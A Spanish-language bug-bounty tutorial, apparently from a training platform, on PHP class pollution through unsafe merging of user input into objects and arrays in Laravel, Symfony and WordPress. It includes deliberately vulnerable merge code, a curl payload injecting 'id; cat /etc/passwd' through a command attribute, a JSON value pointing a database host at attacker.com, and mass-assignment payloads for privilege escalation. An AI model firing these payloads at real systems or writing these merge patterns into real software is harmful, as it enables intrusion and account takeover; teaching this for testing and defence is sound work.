Nivel AvanzadoPremium

PHP class pollution — el equivalente PHP de Prototype Pollution

Cómo PHP class pollution (vía recursive merge / object instantiation con user input) genera deserialization-like RCE en apps Laravel, Symfony, WordPress sin necesidad de gadget chains.

Gorka El Bochi11 de mayo de 202614 min

Deja de leer sobre bugs y empieza a cazarlos

Sin tarjeta · Academy gratis · cancela cuando quieras

Crear cuenta gratis

Respuesta rápida

PHP no tiene prototype global como JavaScript, pero sí tiene class pollution: si una app hace foreach para mergear input del usuario en un objeto existente (o array_merge_recursive con configs), atacante puede sobrescribir atributos de instancias y disparar gadgets internos (RCE via exec-attributes, auth bypass via role flip, SQLi via SQL builders). No se pueden override métodos (PHP no soporta dynamic method dispatch), pero atributos que fluyen a sinks peligrosos son suficiente.


Por qué PHP es distinto de JS/Python

AspectoJS prototype pollutionPython class pollutionPHP class pollution
Base class universalObject.prototypeobjectNo (stdClass no es base)
Pollution global single-shotSíSíNo — solo objeto-por-objeto
Override métodosSíSíNo — solo atributos
Escapar contextoSíSíNo
Pollute atributosSíSíSí
Pollute array keysN/ASíSí

La limitación clave: no hay base class universal. La pollution afecta solo a la instancia/clase concreta. Pero si la app tiene un objeto de configuración global (Service Container en Laravel, ContainerBuilder en Symfony, $wp_config en WP), la pollution de ese único objeto basta.


El patrón vulnerable canónico

php
function merge($baseObject, $userInput) {
    foreach ($userInput as $key => $value) {
        $baseObject->$key = $value;
    }
    return $baseObject;
}

$config = new AppConfig();
$userJson = json_decode(file_get_contents('php://input'));
$mergedConfig = merge($config, $userJson);
$mergedConfig->doSomething();

$userJson es controlado por el atacante. El foreach asigna cualquier propiedad. PHP no diferencia entre crear nuevo atributo y sobrescribir existente vía $obj->$dynamic_key.

Gadget: comando en atributo

php
class AppConfig {
    public $healthCheckCommands = ['ping -c 1 127.0.0.1'];
    public $username = 'guest';

    function healthCheck() {
        foreach ($this->healthCheckCommands as $cmd) {
            passthru($cmd);  // ← sink
        }
    }

    function isAdmin() {
        return $this->username === 'admin';
    }
}

Exploit:

bash
curl -X POST http://target/api/config \
  -H 'Content-Type: application/json' \
  -d '{"healthCheckCommands":["id; cat /etc/passwd"],"username":"admin"}'

Resultado: RCE (vía override de healthCheckCommands) + auth bypass (username ahora es admin). En una sola request.


Variantes de merge vulnerables

Built-in array_merge con casting

php
function merge($base, $input) {
    return (object) array_merge((array) $base, (array) $input);
}

Problema añadido: convierte a stdClass y los métodos originales se pierden. Útil para auth bypass (sobrescribir atributos), no para RCE via método.

Foreach manual (el más explotable)

php
function merge($base, $input) {
    foreach ($input as $k => $v) $base->$k = $v;
    return $base;
}

Preserva la clase y métodos → cualquier método interno que use atributos polluted dispara el gadget.

Clone + foreach

php
function merge($base, $input) {
    $obj = clone $base;
    foreach ($input as $k => $v) $obj->$k = $v;
    return $obj;
}

Mismo impacto, solo cambia que no muta el original.

array_merge_recursive en arrays

php
$config = ['db' => ['host' => 'localhost', 'pass' => 'secret']];
$user = json_decode($input, true);  // ← associative array
$merged = array_merge_recursive($config, $user);

Atacante envía {"db":{"host":"attacker.com","pass":"override"}} → el merge recursivo profundo sobrescribe. Patrón común en endpoints que aceptan settings JSON.


Frameworks reales — dónde buscar

Laravel — mass assignment

php
// Eloquent Model
$user->fill($request->all());
$user->save();

Si el modelo no tiene $fillable definido o tiene $guarded = [], cualquier columna se asigna desde el request. Atacante envía:

json
{"email":"victim@target.com","password":"pwned","is_admin":true,"email_verified_at":"2020-01-01"}

Resultado: ATO + role escalation. Bug class clásico de Laravel; bounty $2000-5000 en programs grandes con eloquent mass assignment.

Laravel — Service Container

php
app()->instance('mailer.config', $userControlledConfig);

Si el atacante puede llamar app()->instance(...) (rare, requiere endpoint que delegue) o si hay merge de config:

php
config()->set($key, $value);  // $key/$value desde request

Con config()->set('app.cipher', 'attacker_string') puede romper cifrado de sesiones o forzar cifrados débiles.

Symfony — ContainerBuilder

php
$container->set('cache.adapter.redis', $userInput);

Reemplaza un servicio del container. Si después algún componente lo usa, atacante intercepta.

WordPress — wp_parse_args

php
$defaults = ['post_type' => 'post', 'numberposts' => 5];
$args = wp_parse_args($_GET, $defaults);
WP_Query($args);

wp_parse_args es el "merge" oficial de WP. Atacante envía ?post_type=any&meta_query[0][key]=...&meta_query[0][value]=... y construye queries arbitrarias. SQLi vía pollution de args.

Sigue leyendo el chain completo

La parte que falta incluye el PoC paso a paso, código de explotación y la cadena completa que llevó al impacto. Disponible para suscriptores.

Gratis · sin cuenta

La checklist que repaso en cada objetivo nuevo

47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.

Te das de baja en un clic, desde cualquier correo.

Practica esto en un lab

Prototype Pollution Explotacion

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta

Artículos relacionados

2.786

hunters entrenando

63

labs de hackeos reales

1.767

completaciones

$14.790

pagados por estos bugs

37 flags capturadas esta semana·Hackeos reales de HackerOne · YesWeHack · Bugcrowd·Sin permanencia·Academy gratis

La comunidad

Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.

Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Entrar a la comunidad de BBLABS en Discord
Entrar al Discord

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.